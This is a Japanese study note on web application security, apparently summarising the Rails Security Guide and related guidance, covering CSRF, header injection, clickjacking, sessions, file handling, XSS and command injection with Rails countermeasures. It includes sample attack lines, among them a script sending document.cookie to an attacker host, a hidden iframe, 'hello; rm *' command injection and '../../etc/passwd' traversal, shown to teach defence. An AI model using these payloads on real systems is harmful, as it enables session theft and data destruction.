    処理の実行前にパスワード認証を行うことで脆弱性を解消する。ただし、本対策は画面設計の仕様変更を伴うため、実装変更のみで変えたい場合は他の根本的解決の手法を採用すること。

  • Referer が正しいリンク元かを確認し、正しい場合のみ処理を実行する

    Referer を確認することで本来の画面遷移を経ているかを確認し、Referer が確認できない場合には処理を実行しないようにする。

    ただし、攻撃対象の Web ページ上に罠を設置される可能性もあり、本対策が有効に機能しない場合があることに注意する。他にもブラウザの設定によっては、Referer を送信しないようにでき、そうした利用者の利用ができなくなる。

保険的対策

  • 重要な操作を行なった際に、その旨を登録済みのメールアドレスに送信する

    メール通知は事後処理なため、CSRF 攻撃を防ぐことはできないが、利用者が異変に気づくきっかけとなる。

HTTP ヘッダ・インジェクション

概要

Web アプリケーションには、リクエストに対して出力する HTTP レスポンスヘッダのフィールド値を、外部から渡されるパラメータ等を利用して動的に生成するものがある。

例えば、リダイレクションの実装としてパラメータから取得したジャンプ先の URL 情報を Location ヘッダフィールド値に使用する場合や、掲示板等で入力された名前を Set-Cookie ヘッダフィールド値に使用する場合などがある。

その際に、HTTP レスポンスヘッダの出力処理に問題がある場合、レスポンス内容に任意のヘッダフィールドやボディを追加したり、複数レスポンスを作り出すような攻撃をされる可能性がある。前者を『HTTP ヘッダ・インジェクション攻撃』、後者を『HTTP レスポンス分割攻撃』と呼ぶ。

image

『HTTP レスポンス分割攻撃』では、レスポンスボディをリバースプロキシ等にキャッシュさせることでキャッシュ汚染(Web ページの差し替え)を引き起こさせる。

image

発生しうる脅威

脅威 具体例
XSS 攻撃と同等の脅威 任意のレスポンスボディを注入されると、利用者のブラウザ上で偽情報を表示させられたり、任意のスクリプトを埋め込まれる等、XSS と同等の脅威がある。
任意の cookie 発行 Set-Cookie ヘッダを注入された場合、任意の cookie が発行され、利用者のブラウザに保存される
キャッシュサーバのキャッシュ汚染 キャッシュ汚染を引き起こさせ、Web ページの改ざんと同じ脅威が生じ、利用者は差し替えられた偽のページを参照し続けることになる。XSS の攻撃と異なりキャッシュ汚染はキャッシュサーバに保持されるため、影響を受ける範囲が広く、永続的となる場合もある。

cookie を利用してログインのセッション管理を行っているサイトや、サイト内にリバースプロキシとして、キャッシュサーバを構築しているサイトは、特に注意が必要。

根本的解決

  • ヘッダ出力を直接行わず、Web アプリケーションの実行環境や言語に用意されているヘッダ出力用 API を使用する

    Content-Type フィールド等の HTTP レスポンスヘッダをプログラムで直接出力するような場合に、フィールド値に式の値をそのまま出力すると、外部から与えられた改行が含まれてしまう。
    HTTP ヘッダは開業によって区切られるため、任意のヘッダーフィールとやボディが注入される可能性がある。実行環境に用意された API を用いるのが吉。

    Ruby on Rails では HTTP レスポンスヘッダーを設定する際には、response オブジェクトを介して行う:

  class MyController < ApplicationController
    def my_action
      # 例1. カスタムHTTPヘッダーを設定:
      response.headers["Custom-Header"] = "Custom Header Value"
      render plain: "Hello, World!"

      # 例2. キャッシュコントロールヘッダーを設定:
      response.headers["Cache-Control"] = "no-cache, no-store, max-age=0, must-revalidate"
      render plain: "Hello, World!"

      # 例3. リダイレクトヘッダーを設定:
      response.headers["Location"] = "https://example.com/new_page"
      render status: 302, plain: "Redirecting..."
    end
  end
  • 改行コードを適切に処理するヘッダ出力用 API を利用できない場合は改行を禁止し、開発者自身で適切に処理する

    改行の後に空白を入れて継続行として処理したり、改行コード以降の文字列を削除したり、改行が含まれていたら Web ページ生成処理を中止したりする

保険的対策

  • 外部からの入力の全てに対して改行コードを削除する

    外部からの入力全てから改行コード・制御コードを削除する。<textarea> タグも一律にやってしまうと、正しく動かなくなるので注意が必要。

メールヘッダ・インジェクション

概要

Web アプリケーションの中には、特定のメールアドレスをメールを送信する機能を持つものがある。通常、管理者により固定の宛先に送信されるが、実装によっては外部のものがこのアドレスを自由に指定できてしまう場合がある。

これを悪用した攻撃を『メールヘッダ・インジェクション』と呼ぶ。

image

発生しうる脅威

脅威 具体例
メールの第三者中継 迷惑メールの送信に悪用される

問い合わせページやアンケート等の利用者が入力した内容を管理者宛にメール送信する機能を実装しているサイトが影響を受ける。

根本的解決

  • メールヘッダを固定値にして、外部からの入力はすべてメール本文に出力する

    下記のケースでは、メールヘッダ内に余分な改行が含まれる状況で悪用の原因となる。

    • 『To』、『Cc』、『Bcc』、『Subject』等のメールヘッダの内容が外部からの入力に依存する場合、
    • メール送信プログラムの出力に問題がある場合
  • メールヘッダを固定にできない場合、Web アプリケーションの実行環境や言語に用意されているメール送信用 API を用いる

    メールヘッダを固定できない理由の一つに『メールの件名を変更したい』という場合がある。外部からの入力をメールヘッダに出力する場合、Web アプリケーションの実行環境や言語に用意されているものを利用するとよい。

  class MyMailer < ApplicationMailer
    def my_email
      mail(to: "recipient@example.com", subject: "My Subject") do |format|
        format.text
        format.html
      end

      # メールヘッダーを設定
      headers["X-Custom-Header"] = "Custom Header Value"
    end
  end
  • HTML で宛先を指定しない

    Web アプリケーションに渡されるパラメータ(やってはいけないが hidden, 宛先をそのまま)に宛先を指定する実装は、パラメータ攻撃よりメールシステムの第三者中継につながる可能性がある。

保険的解決

  • 外部からの入力の全てについて、改行コードを削除する

    外部入力について改行コード(必要に応じて制御コードも)を削除する。

クリックジャッキング

概要

ログイン機能を有し、ログインユーザのみ使用可能な機能を提供している Web サイトにおいて、マウス操作にて細工された外部サイトを閲覧・操作することで、利用者の意図しない機能の実行をさせられる可能性がある。この攻撃のことを『クリックジャッキング攻撃』と呼ぶ。

image image

発生しうる脅威

脅威 具体例
ログイン後の利用者のみが利用可能なサービスの悪用 意図しない情報発信/退会処理
ログイン後の利用者のみが編集可能な設定の変更 利用者情報の意図しない変更

マウス操作のみで実行可能な処理に限定されるのが『クリックジャッキング攻撃』であり、脅威の内容は CSRF 攻撃と同じ。

根本的解決

  • HTTP レスポンスヘッダに X-Frame-Options ヘッダフィールドを出力し、他ドメインサイトからの frame 要素や iframe 要素の読み込みを制限する

    X-Frame-Options は他のドメインから frame, iframe 要素の読み込みを制限するために使用できるセキュリティヘッダー。レスポンスヘッダーに下記のように設定することで読み込みを制限できる。

    設定値 frame ,iframe 要素の表示できる範囲
    DENY 全ての Web ページでフレーム内の表示を禁止
    SAMEORIGIN 同一オリジンの Web ページのみフレーム内表示を許可
    ALLOW-FROM 指定したオリジンの Web ページのみフレーム内表示を許可

    X-Frame-OptionsRuby on Rails での設定方法:

  module AppName
    class Application < Rails::Application
      config.action_dispatch.default_headers = {
        # 同一オリジンのみ `frame`, `iframe` 要素の読み込みを許可
        'X-Frame-Options' => 'SAMEORIGIN'
      }
    end
  end  

他にも Content-Security-Policy(CSP) でも設定が可能。CSP はページ内で許可されるリソース制御を提供する包括的なセキュリティヘッダー。

X-Frame-Optionsframe, iframe に対してのみの設定であったが、CSP は多くの柔軟性と細かい制御を提供し他のセキュリティポリシーと一元的に管理できる。今日では CSP が主で利用されるらしい。参考

CSPRuby on Rails での設定例:

  module AppName
    class Application < Rails::Application
      config.action_dispatch.default_headers = {
        # 同一オリジンのみ `frame`, `iframe` 要素の読み込みを許可
        'Content-Security-Policy' => "frame-ancestors 'self'"
      }
    end
  end

CSP の細かな設定方法はContent-Security-Policy:構文を参照。

  • 処理を実行する直前のページで再度パスワード入力を求め、実行ページでは再入力されたパスワードが正しい場合のみ処理を実行する

    処理実行前にパスワード認証することでクリックジャッキングの脆弱性を解消できる。一方で画面設計使用等を変更する必要がある点に注意。

保険的対策

  • 重要な処理は、一連の操作をマウスのみで実行できないようにする

    クリックジャッキング攻撃は、視覚的に騙して特定の操作を誘導する。よって、利用者に複雑な操作をさせることは難しいため、マウス操作のみで処理が実行されないようにキーボード操作を挟むことで攻撃の成功率を低減できる。

バッファオーバーフロー

概要

あらゆるプログラムは、指示された処理を行うためにメモリ上に自身の使用する領域を確保する。プログラムが入力されたデータを適切に扱わない場合、プログラムが確保したメモリの領域をオーバーし、領域外のメモリを上書きされ、意図しないコードを実行してしまう可能性がある。この攻撃のことを『バッファオーバーフロー攻撃』と呼ぶ。

image

発生しうる脅威

脅威 具体例
プログラムの異常終了 意図しないサービス停止
任意のコード実行 ウイルス、ワーム、ボットへの感染、バックドアの設置、他システムへの攻撃、重要情報の漏洩

バッファオーバーフローは、C や C++, アセンブラ等の直接メモリを操作できる言語で記述されている場合に発生する。Ruby は自動メモリ管理を提供するため、プログラマが明示的にメモリ管理を行う必要はない。

根本的解決

  • 直接メモリにアクセスできない言語で記述する

    直接メモリ操作できない言語で Web アプリケーションを記述することで、バッファオーバーフローの作り込みを防止できる。Web アプリケーションの多くのは直接メモリ操作できない言語(Ruby, PHP, Java, Perl 等)で記述されている。

  • 直接メモリにアクセスできる言語で記述する部分を最小限にする

    C, C++, アセンブラなどの直接メモリにアクセスできる言語を記述する部分を最小限にし、バッファオーバーフローがないことを集中的に確認する。

  • 脆弱性が修正されたバージョンのライブラリを使用する

    一般的に古いライブラリはバッファオーバーフロー脆弱性が存在する場合があるため、脆弱性が修正されたバージョンを使用する。

アクセス制御や認可制御の欠落

不適切な設計で作成された Web サイトは、『アクセス制御』や『認可制御』等の機能欠落に伴う脆弱性がある。以降ではそれへの対策をまとめる。

『アクセス制御の欠落』への根本的解決

  • アクセス制御機能による防御装置が必要とされる Web サイトには、パスワード等の秘密情報の入力を必要とする認証機能を設ける

    Web サイトで非公開とされるべき情報を扱う場合や、利用者本人のみデータ変更や編集を許可することを想定する場合、アクセス制御機能*2の実装が必要。

『認可制御の欠落』への根本的解決

  • 認証機能に加えて認可制御の処理を実施し、ログイン中の利用者が他人になりすましてアクセスできないようにする

    Web サイトにアクセス制御機能を実装して、利用者本人のみデータ閲覧や変更等の操作を許可する際に、複数利用者の存在を想定する場合、どの利用者にどの操作を許可するかを制御する、認可(Authorization)制御の実装が必要となる場合がある。

参考

*1:ブラウザが他のウェブページからリンクをたどって現在のページに来たことを示す情報

*2:ユーザーやプロセスがどの情報やリソースにアクセスできるかを制御し、管理するためのセキュリティ機能や仕組み。アクセス制御は、機密性、整合性、可用性などの情報セキュリティの観点から非常に重要

Rails セキュリティ

Rails セキュリティガイド - Railsガイドを読んだので、理解した内容を自分なりにまとめておきます。

Web アプリケーションの脅威

Web アプリケーションに対する脅威は、少し例を挙げるだけでも下記のようにたくさんある。

  • ユーザアカウントのハイジャック
  • アクセス制御のバイパス
  • 機密データの読み出し、改竄
  • 不正なコンテンツの表示
  • トロイの木馬プログラムや迷惑メール自動送信プログラムの埋め込み

上記のような攻撃を防ぎ、影響を抑えるように対策を練る必要がある。

そのためには、アプリケーションを構成するあらゆる層(バックエンドストレージ、Web サーバ、Web アプリケーション自身等)について、最新の情報を入手し、敵を知る必要がある。最新情報は、セキュリティメーリングリストや、セキュリティブログから取得できる。そして、更新プログラムの適応、セキュリティチェックの習慣を身につける必要もある。

セッション

セッションとは、アプリケーションが多くのユーザとやりとりできるように、各ユーザ固有のステートを維持するために用いる。セッションを用いることで、認証以降のリクエストにおいてサインインしたままできる。つまり、「サーバ内に情報を保存し、複数ページ間で共有する」仕組みのことをいう。

セッションと cookie の違いについてもまとめておく:

特徴 セッション cookie
データの保存先 サーバ内 ユーザのPC内(各Webブラウザ
データの保存容量 ディスク容量 4 KB
データの保存形式 プログラムのデータ依存 文字列
有効期限 ブラウザクローズまたは設定期限 任意
データの利用 格納後、即使用可能 再リクエスト後から使用可能

11.3 セッションの仕組みを理解しよう | 神田ITスクール

以降では、セッションに関する攻撃方法と、セッションデータを保護するセキュリティ対策についてまとめる。

セッションハイジャック

『攻撃者がユーザのセッション ID を盗むと、そのユーザとして Web アプリケーションを操作可能になる』

多くの Web アプリケーションでは、ユーザ名とパスワードで認証し、Web アプリケーションは認証すると対応するユーザ ID をセッションハッシュに保存し、以降そのセッションが有効になる。セッションが有効の場合 cookie 内のセッション ID によって識別されるようになり、認証を行う必要はない。

上記のように cookie は Web アプリケーションに一時的な認証機能を提供するものとして利用され、他人の cookie を奪い取ると、当該ユーザの権限で Web アプリケーションを使えるようになってしまう。

セッションハイジャック手法と対策を以下にまとめる。

手法 対策
暗号化されていない無線 LAN では、接続されている全てのトラフィックを傍聴可能であり cookie も盗聴できてしまう SSL による安全な接続を提供する
公共端末において作業後に cookie を削除し忘れる 目立つログアウト機能を提供する
クロスサイトスクリプティングXSS)による cookie の盗聴  悪意ある入力をフィルタし、Web アプリケーションの出力をエスケープする
セッション固定攻撃による悪意あるセッションを使わせる ログイン成功後に、新しいセッション ID を発行する

セッションストレージ

RailsCookieStore はクライアント側の cookie にセッションハッシュを保存する。サーバはセッションハッシュを cookie から取得することでセッション ID を不要としている。

懸念と注意点をまとめる。

懸念 注意点
cookie の上限は 4KB cookie はセッションに関するデータ保存目的にのみ使用する
cookie はクライアント側に保存される クライアントの cookie が他 PC にコピーされる可能性があるため、セキュリティ上重要なデータは cookie に保存しない
cookie は一時的な情報 cookie 自体にはサーバ側で設定できるがクライアント側で削除することもできる。恒常性の高いデータはサーバ側で永続化する
セッション cookie が自身を無効にすることはなく、悪用目的で使われる可能性がある 保存済みタイムスタンプを利用して古いセッション cookie をアプリケーション側で削除する

cookie のローテーションは、セキュリティ上のリスク軽減のために、定期的に cookie の値を変更またはリフレッシュすることをいう。cookie の値を定期的に変更することで、悪意ある攻撃者が盗み出して長期間アクセスを続けるのを防止する。

具体的には、ユーザが次回アプリケーションを開いたときに、古い設定を含む cookie を読み込み、新しい内容を再び書き込むという操作が行われる。

CookieStore セッションに対するリプレイ攻撃

セッション内で残高的な情報を使う場合に発生する(そもそも残高のような情報をセッションで管理してはいけない。):

  1. クライアントは残高情報の cookie を保存しておく
  2. クライアントが何か購入し、残高が減る
  3. クライアントは、1. で保存した cookie と現在の cookie を差し替える
  4. 残高が元に戻る

上記の通りのため、セッションで管理するのは下記にするとよさそう。

項目 説明
認証情報 ユーザのログイン状態や認証情報(ユーザ名、パスワード、トークン)
セッション ID ブラウザセッションを識別する。通常 cookie や URL パラメータを介して伝達
ユーザ設定 セッション中のカスタマイズ情報(言語、テーマ、通知等)
カート内容 ショッピングサイトでは、カート内情報を保存し、購入プロセスを維持する
セッション状態 フォーム入力やページ表示位置等のアクティビティや進行状況を管理
タイムアウト、有効期限 セキュリティとパフォーマンス向上を目的に期限を設定する

セッション固定攻撃

攻撃者のセッション ID を密かに固定しておき、標的ユーザが気づかないうちにそのセッション ID を強制的にブラウザで使わせる。この方法では、セッション ID を盗み出す必要すらない。

攻撃の流れは次の通り:

image 2.6 セッション固定攻撃

攻撃者は自身のセッションを維持するために定期的にWebサーバにアクセスする(2.)。攻撃者のセッション ID を読み込ませる JavaScript コードを XSS により埋め込んだページを、標的ユーザに実行させる(3.)。標的ユーザに対して認証が実行されると、同じセッションを共有した状態になる。(4.)

上記への対策は、ログイン成功後に古いセッションを無効にし、新しいセッション ID を発行すればよい(上図の 5. 時)。

Rails では reset_session で新しいセッションを作成できる。また、ユーザ管理用に Devise 等の有名な gem を導入しておけば、ログイン・ログアウト時にセッションが自動的に切れるようになる。

クロスサイトリクエストフォージェリCSRF

CSRF 攻撃では、攻撃者が被害者のアカウントを悪用して、無断で特定の操作を実行させることが可能になる。攻撃者は被害者を騙して、不正なリクエストをサーバに送信させることで、アカウント操作を仕掛ける。

ブラウザはリクエストのたびに cookie を送信するが、異なるドメインサイトからリクエストがあった場合にも cookie を送信してしまうことが問題になる。

image クロスサイトリクエストフォージェリ(CSRF)

上記の例では、<img> タグに埋め込まれた悪意あるコマンド(被害者の特定プロジェクトを削除する)を掲示板等に埋め込んでおき、ブラウザが悪意あるコマンドを読み込むと、被害者ブラウザは <img> タグを読み込もうとする。
この時、被害者はそれまで閲覧中であったためセッションは保持された状態であり、有効なセッション ID を含んだ cookie も含んで、サーバに送られる。サーバはユーザ情報が有効とは認定し、リクエストに応じて悪意あるコマンドを実行してしまう。
ユーザ側では 『<img> が表示されない』旨のページを表示されるだけ。被害者は後日、プロジェクトが削除されていることに気づく。

CSRF への対策は次のものが有効

  1. 基本的に GET, POST を適切に使うこと
  2. GET 以外のリクエストにセキュリティトークンを追加し、Web アプリケーションを CSRF から保護する

GET と POST を使い分ける

World Wide Web Consortium(W3C) は、HTTP の GET, POST を選択するチェックリストを用意している。

  • 以下を満たす場合、GET を使う
    • やりとりが基本的に問い合わせの場合(クエリ、読み出し操作、検索などの安全な操作)
  • 以下いずれかを満たす場合、POST を使うこと
    • やりとりが基本的に命令の場合
    • やりとりによりユーザにわかる形でリソースのステートが変わる場合(サービスへの申し込み等)
    • やりとりによる結果の責任をユーザが負う場合

必須セキュリティトーク

偽造リクエストを防止するには、必須セキュリティトークを導入する。このトークンは自分のサイトだけが知っており、他サイトは知らない。リクエスト時にはこのセキュリティトークンを含め、サーバ側で検証する。

Rails では、config.action_controller.default_protect_from_forgerytrue に設定すれば良い。

リダイレクトとファイル

リダイレクトは、あるリソース(WWeb ページやファイル)へのアクセスを別の場所に転送することで、ユーザのブラウザやクライアントアプリケーションからの要求を、送信元リソースから別リソースに転送する際に利用される。

リダイレクトとは

リダイレクト名 説明
301 リダイレクト 恒久的にリソースが別の場所に移動したことを示す。ブラウザや検索エンジンは新しい場所を場所を覚えて以降使用する
302 リダイレクト 一時的にリソースが別の場所に移動したことを示す。ブラウザは新しい場所を覚えない。
メタリダイレクト(Meta Refresh) HTML の <meta> タグを使用してページの自動転送を行う方法。一定の待ち時間後に設定されたリソースに転送する
JavaScript リダイレクト Webページ内で JavaScript コードを使用して、ユーザを別の URL へ転送する

300 系リダイレクトとそれ以外の違いは、サーバ側で処理するのが 300 系で、クライアント側で処理するのがその以外らしい。

サーバ側でリダイレクト処理を導入できないようなシーンにおいて使うと考えておけばよさそう🤔

image image meta refreshはクライアントサイドでの転送処理

リダイレクトによる脅威

リダイレクト用の URL(の一部) をユーザが入力できるようにすると、潜在的脆弱性になる。ユーザを本物そっくりの偽サイトにリダイレクトさせる、いわゆる『フィッシング』の脅威になる。

リダイレクトに関する対策:

  • URL をリダイレクトする場合は、許可リストまたは正規表現でチェックする
  • 自己完結型XSSに対しては、リダイレクトする URL をユーザが入力できないようにする

ファイルアップロードによる脅威

ファイルアップロードされたときの注意点は次の2つ:

  • 重要なファイルが上書きされないように注意
  • メディアファイルは非同期処理を行う

重要なファイルが上書きされないように注意

ユーザが選択・入力できるファイル名(またはその一部)は必ずフィルタする。例えば、アップロードされるファイルが /var/www/uploads に保存されるようになっている場合に、.../.../etc/passwd というファイルがアップロードされると、サーバ側の重要なファイルが上書きされてしまう可能性がある。

上記への対策としては次のものがある:

  • 権限を絞る

    実行するアプリにそれだけの権限がなければ『上書き実行』はできないので、Web サーバ、データベースサーバのプログラムは比較的に権限の小さい Unix ユーザで実行するのが基本

  • 許可リストを用いる

    ファイル名が有効であるか(指定された文字だけが使われているか)どうかをチェックし、無効な場合は拒否または無効文字を置換するの対応をとる。

    注意として、『禁止リスト』的なアプローチはダメ。理由は ../ を取り除くパターンの場合、攻撃者が ....// のようなパターンを入力し、イタチごっこになりモレが残るため。

メディアファイルは非同期処理を行う

ファイルのアップロードを同期的にやることの問題は、サービス拒否(Dos)攻撃の脆弱性が生じるため。同期的なアップロードに対応しているサーバに対して、攻撃者が多数のコンピュータから画像アップロードを同時に行うと、サーバに高負荷がかかり、最終的にクラッシュや動作不能に陥る可能性がある。

よって、メディアファイルの処理は非同期に処理するのがベスト。メディアファイルを保存してから、データベース内で処理リクエストをスケジュールし、ファイル処理は別プロセスでバックグラウンド実行させる。

ファイルアップロードで実行可能なコードを送り込まれる脅威

アップロードされたファイルに含まれるソースコードが特定のディレクトリに置かれると、ソースコードが実行可能になる可能性がある。

Rails においては、/publicApache のホームディレクトリになっている場合、ここにアップロードファイルをおくのは禁止。少なくとも1階層上に保存する必要がある。

ファイルダウンロードによる脅威

アップロード同様に、ダウンロード時にもファイル名のフィルタリングが必要。でなければ、ユーザが任意のファイルをダウンロード可能になってしまう。例えば ../../etc/passwd というように相対パスで指定すると、重要ファイルがダウンロードされてしまう可能性がある。

対策は次のもの:

  • リクエストされたファイル名が想定されるディレクトリ下にあるかチェック
  • ファイル名をデータベースに保存し、データベースの id をファイル名としてサーバディスク上に保存(表示するときは、データベースに保存したフィル名を用いる)

ユーザ管理

アカウントに対する総当たり攻撃

Web アプリケーション用のユーザ名リストは、パスワードへの総当たり攻撃に悪用される可能性がある。背景には、ユーザ名とパスワードが同一であったり、単純なパスワード、辞書に載っている単語+数字のような弱いパスワードを使用しているユーザが多いということがある。

総当たり攻撃の予防としては、Web アプリケーションでは 具体的な情報を出力させずに、一般的なエラーメッセージを出力する という措置が取られる。

  • 悪い例
    • パスワードが違います
    • ユーザが存在しません
  • 良い例
    • ユーザ名またはパスワードが違います

上記のように、どこが間違っているかのヒントを出さないようにする。疎かになりがちなのは『パスワードを忘れた場合』のページで、こちらに対してもエラーメッセージはヒントを与えないような情報表示をする必要がある。

また、特定のIPアドレスで一定回数以上ログインに失敗した場合には、CAPTCHA(相手がコンピュータでないことを確認するテスト)の入力をユーザに義務付けるようにする。

アカウントのハイジャック

ユーザアカウントのハイジャックでは、パスワードとメールアドレスが標的になる。いずれにおいても、パスワード入力(パスワード変更の場合は現在のパスワード)を義務づける必要がある。

理由は、Web アプリケーションが CSRF 攻撃に対して脆弱な場合、攻撃者は標的ユーザを別の Web ページに誘い込み、CSRF を実行するように仕込まれたタグ(例:<img>)を踏ませて、標的ユーザの情報を盗んでしまうことができてしまうため。

CAPTCHA

CAPTCHA とは、コンピュータによる自動応答でないことを確認するためのチャレンジ-レスポンス式テストのこと。CAPTCHA は2種類ある。

種別 説明
ポジティブ CAPTCHA 正しい選択を選ばせ、自動スパムボットでないかを確認する手法。歪んだ画像から文字を入力させる方法などがある。
ネガティブ CAPTCHA ボットを罠に嵌め、自動スパムであるかを確認する手法。ボットによる自動入力を逆手に取り、『ハニーポット』と呼ばれるダミーフォームをフィールドに配置し、罠に嵌める。

ポジティブ CAPTCHA はよく見る方式でテキスト入力や型はめ、タイル選択等で入力が自動スパムボットでないことを確認する。

ネガティブ CAPTCHA は、下記のようなユーザは気づきにくかったり、入力不要な構成になっている。

ネガティブ CAPTCHA で防御できるのは自動botのみであり、特定の Web サイトを標的とした特注ボットは防げないため、ログインフォーム保護に確実に向いているというわけではないことも頭に入れておく必要がある。

ログ出力

パスワードをログ出力してはいけない。ログファイルには、ログイン情報、クレジットカード番号等の情報が含まれる可能性があり、重大なセキュリティ問題の原因になることがある。

Rails では Web アプリケーションへのリクエストはデフォルトで全てログ出力されるようになっているが、initializers/filter_parameter_logging.rb のイニシャライザにて特定のリクエストパラメータ(:passw, :email, :secret, :token, :_key, :crypt, :salt, :certificate, :otp, :ssn)を部分マッチでフィルタで除外するようにデフォルトでなっている。

config.filter_parameters

権限昇格

ユーザがアクセスすべきところのみのアクセスとなるようなコード実装にする。例として、Rails でのパラメータ取得を考える:

- // 全プロジェクトを探索
- @project = Project.find(params[:id])

+ // 当該ユーザのプロジェクトを探索
+ @project = @current_user.projects.find(params[:id])

上記のように、クエリにはユーザのアクセス権を必ず含める。

インジェクション

クロスサイトスクリプティングXSS

XSS は攻撃者が Web ページ上に不正なスクリプトを挿入し、ユーザのブラウザで実行させる攻撃で、ユーザプライバシー侵害、セッションハイジャックマルウェアの拡散、クッキーの盗み出し、ユーザログイン情報の盗聴などに悪用される。

XSS 攻撃は3つのカテゴリに分けることができる。

分類 説明
ストアド(蓄積型)XSS 不正なスクリプトを攻撃者が Web アプリケーションのデータベースに保存し、それが他ユーザに表示されるときに実行される攻撃。掲示板へのコメントやフォーム入力などがある
リフレクテッド(反射型)XSS ユーザに対して不正な URL を攻撃者が提供し、ユーザがそれをクリックしたときにスクリプトが実行される攻撃。通常、URL のクエリパラメータなどに埋め込まれる。
DOM ベース XSS クライアントサイドで JavaScript を使用して DOM を操作する Web アプリケーションに関連し、攻撃者は Web ページ上での DOM 操作を通じて、ユーザのブラウザにて不正操作を行う。

XSS 攻撃を防ぐには以下の対策が必要:

  • 入力検証とエスケープ

    ユーザからの入力データを検証し、エスケープ処理を行い悪意あるスクリプトが実行されるのを防ぐ

  • HTTP ヘッダの設定

    適切な Content Security Policy ヘッダを設定し、許可されているスクリプトソースを指定し、XSS 攻撃を防ぐ

  • セキュリティライブラリの使用

    セキュリティライブラリやフレームワークを使用して、XSS 攻撃から保護するためのヘルパーメソッドやミドルウェアを利用する

HTML/JavaScript インジェクション

下記コードは実行結果は『警告ボックスが一つ表示されるだけ』だが、コードの置かれる場所が異なっている。

// 通常記述したコード
<script>alert('Hello');</script>

// 通常ありえない場所に記述したコード①
<img src="javascript:alert('Hello')"/>
// 通常ありえない場所に記述したコード②
<table background="javascript:alert('Hello')"/>

HTML/JavaScript インジェクションの悪用例

上記は害のないのものであるが、以下のような悪用方法がある。

  • cookie 窃盗

    JavaScript では document cookie プロパティでドキュメントの cookie を読み書きできる。下記コードにて cookie 情報を確認できる。

  <!-- 現在ページの cookie を記述 -->
  <script>
    document.write(document.cookie);
  </script>

  <!-- 指定 URL へアクセスさせ、cookie 情報を参照する -->
  <script>
    document.write(
      '<img src="http://www.attacker.com/' + document.cookie + '">'
    );
  </script>

XSS 攻撃が成立しているアプリケーション上では、ドメイン内に悪意あるページが存在している可能性があり、その場合に cookie が判明すると、当該ドメインのアプリケーションでセッションハイジャック、個人情報の盗み出し、悪意ある操作などができてしまう。

  • Web ページの汚損による攻撃

    iframe タグを悪用し、外部コードを Web ページに含める方法がある。

  <iframe
    name="StatPage"
    src="http://58.xx.xxx.xxx"
    width="5"
    height="5"
    style="display:none"
  ></iframe>

上記コードにより、外部の任意の HTML や JavaScript が読みこまれ、当該 Web サイトの一部として埋め込まれる。

他にも、偽サイト全体またはログインフォームを既存ページの上に重ねて表示する手口もある。元サイトとそっくりな見た目だが、ユーザ名とパスワードを密かに攻撃者サイトに送信する。

HTML/JavaScript インジェクションへの対策

HTML/JavaScript インジェクションへの対策は以下の2つ:

  • 悪意ある入力をフィルタする

    アプリケーション上で悪意あるコードを実行したり、サーバに保存したりすることを防止する方法。禁止リスト方式では抜け漏れが発生するため、許可リスト方式で入力をフィルタするのが重要。
    Rails2 でアップデートされた sanitize() メソッドが許可リストによるフィルタに対応している。

  • Web アプリケーションの出力をエスケープする

    ユーザ入力のフィルタで漏れたしまった文字列があった場合、Web 画面に再表示する際に有効な方法。
    Rails では html_escape() メソッドにて HTML 入力文字列(&, ", <, >) を無害な HTML 表現方式 (&amp;, &quot, &lt;, &gt;)に置換する

CSS インジェクション

CSS インジェクションは実際は JavaScript インジェクションであり、一部のブラウザでは CSS に含まれる JavaScript の実行が許可されている。Web アプリケーションでカスタム CSS を許可するときは注意が必要。

eval() メソッドは、文字列で表現された JavaScript コードを評価するが、これが禁止リスト方式の入力フィルタを脆弱としている。以下のような形で禁止リストから漏れるようにパターンをずらすことができてしまう。

// 禁止リストに登録した innerHTML を下記のように回避
`alert(eval('document.body.inne' + 'rHTML'));`;

上記の例からもわかるように、禁止リストによる完璧なフィルタ作成は不可能。CSS をユーザでカスタマイズさせたい場合は、ユーザに色や画像を選ばせて、アプリケーション側で CSS をビルドするようにする。

テキストスタイルインジェクション

セキュリティ上の理由で、HTML 以外のテキストフォーマット機能を提供する場合は、それをサーバ側で HTML に変換する。

Ajax インジェクション

Ajax(Asynchronous JavaScript and XML)は Web 開発で非同期通信を実現する技術。Web ページの再読み込みなしにデータの取得、送信、更新する手法で、ユーザエクスペリエンスを向上させるのに有効。

ビューをレンダリングせずに文字列を返すアクションを使う場合は、アクションが返す値を確実にエスケープする必要がある。戻り値に XSS 汚染された文字列が含まれていると、ブラウザで表示された際に悪意あるコードが実行される可能性がある。

入力値は常に html_escape() メソッド(h())でエスケープする。

コマンドラインインジェクション

Web アプリケーションで OS コマンド実行しなければならないとき、Ruby には以下の方法がある。

  • exec()
  • syscall()
  • system()
  • バッククォート記法 ``

その際、ユーザがこれらコマンド全体もしくは一部入力をできる場合は注意が必要。ほとんどのシェルでは、コマンドに ;| を追加して、別のコマンドを結合できてしまうため。

対策としては、パラメータのみをユーザに入力できるようにし、パラメータを安全に渡せる system(コマンド名、パラメータ)メソッドを使う。

user_input = "hello; rm *"

# 対策前
system("/bin/echo #{user_input}")
# "hello"を出力し、ディレクトリ内のすべてのファイルを削除する

# 対策後
system("/bin/echo", user_input)
# "hello; rm *"を実行してもファイルは削除されない

また、Kernel#open| で始まる引数と渡すと OS コマンドを実行できてしまう。

open('| ls') { |file| file.read }
# ls コマンド結果のリストを String として返す

対策は、OS コマンドを実行しない File.open, IO.open, URI#open を使う。

HTTP セキュリティヘッダー

セキュリティヘッダーは、Web サーバーや Web アプリケーションからブラウザに送信される HTTP ヘッダーの一種で、Web サイトのセキュリティを向上させるための情報や制約をブラウザに伝えるもの。

Rails ではセキュリティヘッダーを返すように設定でき、デフォルト設定済みのものから明示的な設定が必要なヘッダーがある。

デフォルトのセキュリティヘッダー

Rails のアプリケーションでは、あらゆる HTTP レスポンスに対して、以下のレスポンスヘッダを返すように設定されている。

| ヘッダー名 | 説明 | | ----------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | X-Frame-Options | ブラウザが <frame>, <iframe>, <embed>, <object> タグでレンダリングして良いかを示す。デフォルトは SAMEORIGIN に設定されており、同一ドメイン内でのみフレームレンダリングを許可するようになっている。クリックジャッキング攻撃から保護するのに役立つ。| X-XSS-Protection|問題のあるレガシー XSS Auditor の有効/無効を切り替える。デフォルトは 0 で無効化している。XSS 攻撃を検出し、防ぐことができる。 X-Content-Type-Options|ブラウザがレスポンスの Content-Type ヘッダーを信頼するかどうかを設定する。デフォルトでは nosniff に設定されており、ブラウザがファイルの MIME タイプを推測しなくなる。 MIMEタイプスニッフィング攻撃を防ぐのに役立つ。 